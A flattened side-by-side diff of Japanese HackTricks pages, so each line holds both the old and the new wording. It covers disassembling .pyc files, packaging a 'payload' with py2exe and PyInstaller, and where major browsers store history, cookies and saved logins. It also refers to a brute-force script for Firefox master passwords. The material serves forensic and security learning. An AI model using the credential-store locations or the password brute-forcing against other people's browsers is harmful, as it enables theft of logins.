前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出しようとしてみることができますしかし、それはあまり記述的ではないので、元のコードを再度抽出しようとしてください。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリをディスアセンブルする非常にシンプルなコードを見つけましたコードフローを理解するのに幸運を祈ります。_.pyc_ がPython2からのものであれば、Python2を使用してください もし前の手順に従ってpythonの「オリジナル」コードを抽出できなかった場合は、**抽出**を試みることができますが、**それはあまり説明的ではない**ので、**再度**オリジナルコードを抽出することを**試みて**ください。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリを**逆アセンブル**するための非常にシンプルなコードを見つけましたコードフローを理解するのは大変かもしれません。_.pyc_ がpython2からのものであれば、python2を使用してください:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -159,15 +161,15 @@ True
14 LOAD_CONST 0 (None) 14 LOAD_CONST 0 (None)
17 RETURN_VALUE 17 RETURN_VALUE
``` ```
## Pythonから実行可能ファイルへ ## Python to Executable
まず、ペイロードがpy2exeとPyInstallerでコンパイルされる方法を示します。 最初に、payloadがpy2exeとPyInstallerでどのようにコンパイルされるかを示します。
### py2exeを使用してペイロードを作成する方法 ### py2exeを使用してpayloadを作成するには
1. [http://www.py2exe.org/](http://www.py2exe.org) からpy2exeパッケージをインストールします。 1. [http://www.py2exe.org/](http://www.py2exe.org) からpy2exeパッケージをインストールします。
2. ペイロードこの場合、hello.pyと名前を付けますを作成するには、図1に示すようなスクリプトを使用します。オプション"bundle\_files"の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。 2. payloadこの場合、hello.pyと名付けますには、図1のようなスクリプトを使用します。値が1のオプション“bundle\_files”は、Pythonインタプリタを含むすべてを1つのexeにバンドルします。
3. スクリプトが準備できたら、コマンド"python setup.py py2exe"を発行します。これにより、図2に示すように実行可能ファイルが作成されます。 3. スクリプトが準備できたら、“python setup.py py2exe”というコマンドを発行します。これにより、図2のように実行可能ファイルが作成されます。
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -195,10 +197,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### PyInstallerを使用してペイロードを作成する方法 ### PyInstallerを使用してペイロードを作成するには
1. pipを使用してPyInstallerをインストールしますpip install pyinstaller 1. pipを使用してPyInstallerをインストールしますpip install pyinstaller
2. その後、コマンド「pyinstaller --onefile hello.py」を発行します'hello.py'はペイロードです。これにより、すべてが1つの実行可能ファイルにバンドルされます。 2. その後、「pyinstaller onefile hello.py」というコマンドを発行しますhello.pyは私たちのペイロードです。これにより、すべてが1つの実行可能ファイルにバンドルされます。
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -211,26 +213,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully. 6325 INFO: Building EXE from out00-EXE.toc completed successfully.
``` ```
## 参考 ## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti** に **サインアップ** してください。これは、ハッカーによって作成されたプレミアム **バグバウンティプラットフォーム** です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加し、最大 **$100,000** のバウンティを獲得しましょう! **バグバウンティのヒント**: **ハッカーによって、ハッカーのために作られた**プレミアム**バグバウンティプラットフォーム**である**Intigriti**に**サインアップ**しましょう!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,77 +1,78 @@
# ブラウザのアーティファクト # ブラウザのアーティファクト
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
- ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a> ## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a>
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、一般的に類似したデータ型を保存しつつも、ブラウザごとに異なる場所と名前でオペレーティングシステム内の特定のフォルダに保持されます。 ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、ウェブブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダーに保存され、ブラウザごとに場所や名前が異なりますが、一般的には同様のデータタイプを保存しています。
以下は、最も一般的なブラウザのアーティファクトの要約です: 最も一般的なブラウザのアーティファクトの概要は次のとおりです:
- **ナビゲーション履歴**ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。 * **ナビゲーション履歴**: ユーザーのウェブサイト訪問を追跡し、悪意のあるサイトへの訪問を特定するのに役立ちます。
- **オートコンプリートデータ**:頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。 * **オートコンプリートデータ**: 頻繁な検索に基づく提案で、ナビゲーション履歴と組み合わせる洞察を提供します。
- **ブックマーク**:ユーザーが保存したサイトで、迅速なアクセスのためです * **ブックマーク**: ユーザーが迅速にアクセスするために保存したサイト
- **拡張機能とアドオン**ユーザーがインストールしたブラウザの拡張機能やアドオン。 * **拡張機能とアドオン**: ユーザーがインストールしたブラウザの拡張機能やアドオン。
- **キャッシュ**Webコンテンツ画像、JavaScriptファイルなどを保存してWebサイトの読み込み時間を短縮するための貴重なデータ * **キャッシュ**: ウェブコンテンツ画像、JavaScriptファイルを保存し、ウェブサイトの読み込み時間を改善します。法医学的分析にとって貴重です
- **ログイン情報**保存されたログイン資格情報。 * **ログイン情報**: 保存されたログイン資格情報。
- **Favicons**タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。 * **ファビコン**: ウェブサイトに関連付けられたアイコンで、タブやブックマークに表示され、ユーザーの訪問に関する追加情報に役立ちます。
- **ブラウザセッション**:オープンされたブラウザセッションに関連するデータ。 * **ブラウザセッション**: 開いているブラウザセッションに関連するデータ。
- **ダウンロード**:ブラウザを介してダウンロードされたファイルの記録。 * **ダウンロード**: ブラウザを通じてダウンロードされたファイルの記録。
- **フォームデータ**Webフォームに入力された情報で、将来の自動入力提案のために保存されます。 * **フォームデータ**: ウェブフォームに入力された情報で、将来のオートフィル提案のために保存されます。
- **サムネイル**Webサイトのプレビュー画像。 * **サムネイル**: ウェブサイトのプレビュー画像。
- **Custom Dictionary.txt**ユーザーがブラウザの辞書に追加した単語。 * **Custom Dictionary.txt**: ユーザーがブラウザの辞書に追加した単語。
## Firefox ## Firefox
Firefoxは、プロファイル内のユーザーデータをオペレーティングシステムに基づいて特定の場所に保存します: Firefoxは、ユーザーデータをプロファイル内に整理し、オペレーティングシステムに基づいて特定の場所に保存します:
- **Linux**`~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
- **MacOS**`/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
これらのディレクトリ内にある`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`profiles.ini`内の`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。 これらのディレクトリ内`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`内の`Path`変数に名前が付けられたフォルダーに保存され、`profiles.ini`自体と同じディレクトリにあります。プロファイルのフォルダーが欠けている場合は、削除された可能性があります。
各プロファイルフォルダ内には、いくつかの重要なファイルがあります: 各プロファイルフォルダ内には、いくつかの重要なファイルがあります:
- **places.sqlite**履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)などのツールを使用して履歴データにアクセスできます。 * **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)のようなツールで履歴データにアクセスできます。
- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。 * 特定のSQLクエリを使用して、履歴とダウンロード情報を抽出します。
- **bookmarkbackups**:ブックマークのバックアップが含まれています。 * **bookmarkbackups**: ブックマークのバックアップを含みます。
- **formhistory.sqlite**Webフォームデータを保存します。 * **formhistory.sqlite**: ウェブフォームデータを保存します。
- **handlers.json**:プロトコルハンドラを管理します。 * **handlers.json**: プロトコルハンドラーを管理します。
- **persdict.dat**カスタム辞書の単語。 * **persdict.dat**: カスタム辞書の単語。
- **addons.json**および**extensions.sqlite**インストールされたアドオンと拡張機能に関する情報。 * **addons.json**および**extensions.sqlite**: インストールされたアドオンと拡張機能に関する情報。
- **cookies.sqlite**Cookieの保存先で、Windows上で[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)を使用して検査できます。 * **cookies.sqlite**: クッキーの保存、Windows上での検査には[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)が利用可能です。
- **cache2/entries**または**startupCache**キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)などのツールを介してアクセスできます。 * **cache2/entries**または**startupCache**: キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)のようなツールを通じてアクセスできます。
- **favicons.sqlite**Faviconsを保存します。 * **favicons.sqlite**: ファビコンを保存します。
- **prefs.js**:ユーザー設定と環境設定 * **prefs.js**: ユーザー設定と好み
- **downloads.sqlite**古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。 * **downloads.sqlite**: 古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。
- **thumbnails**Webサイトのサムネイル。 * **thumbnails**: ウェブサイトのサムネイル。
- **logins.json**暗号化されたログイン情報。 * **logins.json**: 暗号化されたログイン情報。
- **key4.db**または**key3.db**機密情報を保護するための暗号化キーを保存します。 * **key4.db**または**key3.db**: 機密情報を保護するための暗号化キーを保存します。
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。 さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内の`browser.safebrowsing`エントリを検索し、安全なブラウジング機能が有効または無効になっているかを示します。
マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\ マスターパスワードを解読しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\
次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: 次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます:
{% code title="brute.sh" %} {% code title="brute.sh" %}
@ -91,113 +92,117 @@ done < $passfile
## Google Chrome ## Google Chrome
Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します
- **Linux**: `~/.config/google-chrome/` * **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。重要なデータを保持する以下のファイルがあります: これらのディレクトリ内で、ほとんどのユーザーデータは**Default/**または**ChromeDefaultData/**フォルダーに見つかります。以下のファイルは重要なデータを保持しています。
- **History**: URL、ダウンロード、検索キーワードを含む。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 * **History**: URL、ダウンロード、検索キーワードを含みます。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)を使用して履歴を読むことができます。「Transition Type」列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。
- **Cookies**: Cookieを保存。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。 * **Cookies**: クッキーを保存します。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)が利用可能です。
- **Cache**: キャッシュされたデータを保持。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。 * **Cache**: キャッシュデータを保持します。検査には、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)を利用できます。
- **Bookmarks**: ユーザーのブックマーク。 * **Bookmarks**: ユーザーのブックマーク。
- **Web Data**: フォーム履歴を含む * **Web Data**: フォーム履歴を含みます
- **Favicons**: ウェブサイトのファビコンを保存。 * **Favicons**: ウェブサイトのファビコンを保存します
- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含む * **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含みます
- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンされているタブに関するデータ。 * **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンタブに関するデータ。
- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。 * **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。
- **Extensions**: ブラウザの拡張機能やアドオンのためのディレクトリ。 * **Extensions**: ブラウザ拡張機能とアドオンのディレクトリ。
- **Thumbnails**: ウェブサイトのサムネイルを保存。 * **Thumbnails**: ウェブサイトのサムネイルを保存します
- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。 * **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイルです
- **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行します。出力で `{"enabled: true,"}`探します。 * **Browsers built-in anti-phishing**: フィッシング対策とマルウェア保護が有効かどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力に`{"enabled: true,"}`があるか探します。
## **SQLite DBデータの回復** ## **SQLite DB Data Recovery**
前のセクションで確認できるように、ChromeとFirefoxはデータを保存するために **SQLite** データベースを使用しています。ツール [**sqlparse**](https://github.com/padfoot999/sqlparse) または [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) を使用して、削除されたエントリを回復することが可能です。 前のセクションで観察できるように、ChromeとFirefoxはデータを保存するために**SQLite**データベースを使用しています。**削除されたエントリを回復することが可能です** [**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用します。
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11 は、格納された情報とそれに対応する詳細を簡単にアクセスおよび管理するために、さまざまな場所にデータとメタデータを管理しています。 Internet Explorer 11は、さまざまな場所でデータとメタデータを管理し、保存された情報とその対応する詳細を分離して簡単にアクセスおよび管理できるようにします。
### メタデータの保存 ### メタデータストレージ
Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`VX は V01、V16、または V24に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナが識別でき、Skypeなどの他のMicrosoftツールのキャッシュ詳細も含まれます。 Internet Explorerのメタデータは、`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`に保存されますVXはV01、V16、またはV24です。これに伴い、`V01.log`ファイルは`WebcacheVX.data`との修正時間の不一致を示す場合があり、`esentutl /r V01 /d`を使用して修復が必要です。このメタデータはESEデータベースに格納されており、photorecや[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese\_database\_view.html)などのツールを使用して回復および検査できます。**Containers**テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別でき、Skypeなどの他のMicrosoftツールのキャッシュ詳細も含まれています。
### キャッシュ検査 ### キャッシュ検査
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュに関するメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。 [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html)ツールを使用してキャッシュを検査できます。キャッシュデータ抽出フォルダーの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュ作成、アクセス、修正、期限切れのタイムスタンプが含まれます。
### Cookieの管理 ### クッキー管理
Cookieは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なCookieは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションCookieはメモリに保存されます。 クッキーは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`に保存され、セッションクッキーはメモリに存在します。
### ダウンロード詳細 ### ダウンロード詳細
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を使用してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが格納されます。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。 ダウンロードのメタデータは[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese\_database\_view.html)を介してアクセス可能で、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保持されています。物理ファイルは`%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`に見つかります。
### 閲覧履歴 ### ブラウジング履歴
閲覧履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) を使用し、抽出された履歴ファイルの場所とInternet Explorerの構成が必要です。ここでのメタデータには、修正時間、アクセス回数などが含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。 ブラウジング履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用でき、抽出された履歴ファイルの場所とInternet Explorerの設定が必要です。ここでのメタデータには、修正およびアクセス時間、アクセス回数が含まれます。履歴ファイルは`%userprofile%\Appdata\Local\Microsoft\Windows\History`にあります。
### 入力されたURL ### 入力されたURL
入力されたURLとその使用時刻は、`NTUSER.DAT` 内の `Software\Microsoft\InternetExplorer\TypedURLs` および `Software\Microsoft\InternetExplorer\TypedURLsTime` に格納されており、ユーザーが入力した最後の50のURLとその最終入力時刻を追跡しています。 入力されたURLとその使用時間は、`NTUSER.DAT`の`Software\Microsoft\InternetExplorer\TypedURLs`および`Software\Microsoft\InternetExplorer\TypedURLsTime`のレジストリに保存され、ユーザーが入力した最後の50のURLとその最後の入力時間を追跡します。
## Microsoft Edge ## Microsoft Edge
Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packages` に保存します。さまざまなデータタイプのパスは次のとおりです Microsoft Edgeは、`%userprofile%\Appdata\Local\Packages`にユーザーデータを保存します。さまざまなデータタイプのパスは次のとおりです
- **プロファイルパス**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **履歴、Cookie、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **設定、ブックマーク、読書リスト**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **キャッシュ**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **最後のアクティブセッション**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Safariのデータは `/Users/$User/Library/Safari` に保存されます。主要なファイルは次のとおりです: Safariデータは`/Users/$User/Library/Safari`に保存されます。主なファイルは次のとおりです。
- **History.db**: URLと訪問時刻を含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。 * **History.db**: `history_visits`および`history_items`テーブルにURLと訪問タイムスタンプが含まれています。`sqlite3`を使用してクエリを実行します。
- **Downloads.plist**: ダウンロードしたファイルに関する情報。 * **Downloads.plist**: ダウンロードされたファイルに関する情報。
- **Bookmarks.plist**: ブックマークされたURLを保存します。 * **Bookmarks.plist**: ブックマークされたURLを保存します。
- **TopSites.plist**: 最も頻繁に訪れるサイト。 * **TopSites.plist**: 最も頻繁に訪問されたサイト。
- **Extensions.plist**: Safariブラウザの拡張機能のリスト。取得するには `plutil` または `pluginkit` を使用します。 * **Extensions.plist**: Safariブラウザ拡張機能のリスト。`plutil`または`pluginkit`を使用して取得します。
- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメイン。解析するには `plutil` を使用します。 * **UserNotificationPermissions.plist**: プッシュ通知を許可されたドメイン。`plutil`を使用して解析します。
- **LastSession.plist**: 最後のセッションからのタブ。解析するには `plutil` を使用します。 * **LastSession.plist**: 最後のセッションのタブ。`plutil`を使用して解析します。
- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。応答が1の場合、機能が有効になっています。 * **Browsers built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`を使用して確認します。1の応答は機能がアクティブであることを示します。
## Opera ## Opera
Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴とダウンロードに関してはChromeと同じ形式を共有しています。 Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあり、履歴とダウンロードの形式はChromeと共有しています。
